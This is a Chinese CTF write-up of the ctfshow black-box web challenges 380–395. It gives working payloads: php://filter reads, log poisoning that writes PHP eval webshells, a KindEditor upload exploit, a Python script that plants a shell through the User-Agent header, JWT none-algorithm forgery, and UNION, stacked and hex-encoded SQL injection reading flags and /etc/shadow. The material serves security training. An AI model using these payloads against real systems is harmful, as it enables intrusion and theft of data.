Skip to main content

ctfshow-黑盒测试

380 读文件

瞎点看到都是page_?.php的格式,尝试改成page.php(可以扫)

报错缺少id参数,那么get一个id进去

伪协议读个源码:page.php?id=php://filter/convert.base64-encode/resource=page

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-08 19:50:40
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-08 19:59:24
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


#error_reporting(0);
$id = $_GET['id'];
if(!isset($id)){
die('打开$id.php失败');
}else{
$html = file_get_contents($id.'.php');
echo $html;
}

flag在flag.php:page.php?id=flag

381 后台路径

长得一样啊,再试试page.php,提示打开page_$id.php失败这样的字符拼接有点难办啦

看看别的地方,看到关键目录alsckdfy,访问即得flag

382、383 弱口令 or 万能密码

还是后台地址alsckdfy,登录即得flag

  1. sqlmap:admin/admin888,也可以弱口令字典爆破
  2. 万能密码:' or 'a'='a

384 爆破

后台alsckdfy爆破:密码前2位是小写字母,后三位是数字

大概是676000分之一:admin/xy123

385 重置密码

扫描得/install,如下访问之重置密码

再去后台alsckdfyadmin/admin888登陆

386 lock.dat

扫描得:clear.phpinstall

访问install,提示lock.dat文件存在,就是上锁了不给重置。cms常见的手法

再看clear.php,盲猜file参数,试一下:clear.php?file=page_1.php

访问看到确实被删掉了

那么利用clear.php把lock.dat删掉,再install重置即可,再去后台alsckdfyadmin/admin888登陆

387 debug日志包含

hint:前面部分和386一样

扫描得/debug/install,访问install还是提示lock.dat,但是没有clear.php了

访问/debug说file not exit,给一个file参数

读一下/etc/shadow试试

可以尝试一下日志包含;用的是nginx,日志路径为:/var/log/nginx/access.log

unlink把lock.dat删掉就行:

<?php unlink('/var/www/html/install/lock.dat')?>

后续一样

还看到bit师傅的做法,直接cat 后台check.php的源码到txt里,查看即可

388 editor(CVE-2017-1002024/免杀马)

扫出/debug/alsckdfy/editor/

/debug结果如下,调试结果会被写到日志中。猜测是文件包含后再写到日志里

再看/alsckdfy/editor/

在js看到编辑器版本信息KindEditor 4.1.11, 搜一下知道有个漏洞(CVE-2017-1002024)Kindeditor \<=4.1.11 上传漏洞

访问/alsckdfy/editor/,随便传一个php看看白名单

因为对代码也有过滤,拼接绕过,然后放在txt里上传

<?php
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

上传拿路径

然后到/debug调试写到日志里

/debug/?file=/var/www/html/alsckdfy/attached/file/20211021/20211021065810_79266.txt

再文件包含日志,让马能成功写进去

/debug/?file=/var/log/nginx/access.log

然后访问马,读checke.php即可得到flag

非预期:日志包含写shell

feng师傅的做法

import requests
import base64
url="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/"
url2="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd)
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'}).text)


389 jwt session伪造

访问/debug,提示权限不足,看session,明显的jwt格式

c-jwt-cracker爆破得123456

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzNDc5OTkxNywiZXhwIjoxNjM0ODA3MTE3LCJuYmYiOjE2MzQ3OTk5MTcsInN1YiI6ImFkbWluIiwianRpIjoiMThhNDYzZDJjYTEyNmU3MGZhZmNmMjdhODc0ZjU3ZjAifQ.ZiQ4RvolefXr7HE2jbFhtFVl0VSSX8UhE4xjZ7_f83U

或者把加密算法改成none

import jwt
token = jwt.encode(
{
"iss": "admin",
"iat": 1634799917,
"exp": 1634807117,
"nbf": 1634799917,
"sub": "admin",
"jti": "18a463d2ca126e70fafcf27a874f57f0"
},
algorithm="none",key=""
)

print(token.encode("utf-8").decode("utf-8"))

#eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzNDc5OTkxNywiZXhwIjoxNjM0ODA3MTE3LCJuYmYiOjE2MzQ3OTk5MTcsInN1YiI6ImFkbWluIiwianRpIjoiMThhNDYzZDJjYTEyNmU3MGZhZmNmMjdhODc0ZjU3ZjAifQ.

后续同388

不过尝试的时候发现传txt再包含的话不太行--,又改成zip格式才成

390 sql注入 --os-shell

看网站url,改为用参数id控制了:http://9b0ead93-149f-465a-9c86-2dacc9b75333.challenge.ctf.show/page.php?id=3

sqlmap --os-shell

391、392 sql注入

注入点在url/search.php?title=1

继续sqlmap或者手注

391 flag在alsckdfy/check.php;392flag在根目录

/search.php?title=1' union select 1,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255),3 limit 0,1%23

/search.php?title=1' union select 1,substr((select load_file('/flag')),1,255),3 limit 0,1%23

393 堆叠

在最下面出现一个搜索引擎 选择一个会出现:

应当是把搜索引擎的链接放到了数据库里,不同链接对应不同的id

sqlmap一把梭,看一下数据库

sqlmap -u "http://808a6a22-0a64-443b-a58c-10ec2673c923.challenge.ctf.show/search.php?title=1" --dbms='mysql' --batch --dump

模仿yu师傅的做法 利用堆叠和file://把根目录下的flag内容写到数据库里:

/search.php?title=1';1';insert into link values(10,'a','file:///flag');

然后访问对应的id即可

或者像bit师傅:

search.php?title=aa';update link set url='file:///flag';select1,2,'a

然后随便访问个id,就可得到flag

394 过滤,堆叠

hint:FLAG_NOT_HERE

flag又跑到alsckdfy/check.php里啦,还是可以file://读,但是添加了过滤,可以用十六进制绕过

/search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

然后访问/link.php?id=10

1';update link set url=0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870; 

然后随便访问个id,就可得到flag

395 gopher

同上,也可以像羽师傅的非预期:gopher打redis服务,fastcig

参考文章

CTFSHOW黑盒测试篇_羽的博客-CSDN博客_ctfshow 黑盒测试

CTFshow---WEB入门---(黑盒测试)380-395 WP - Bit's Blog (xl-bit.cn)

ctfshow-web入门-黑盒测试 | npfs's blog (npfs06.top)

ctfshow-黑盒测试 | 尘~落 (chenluo77.com)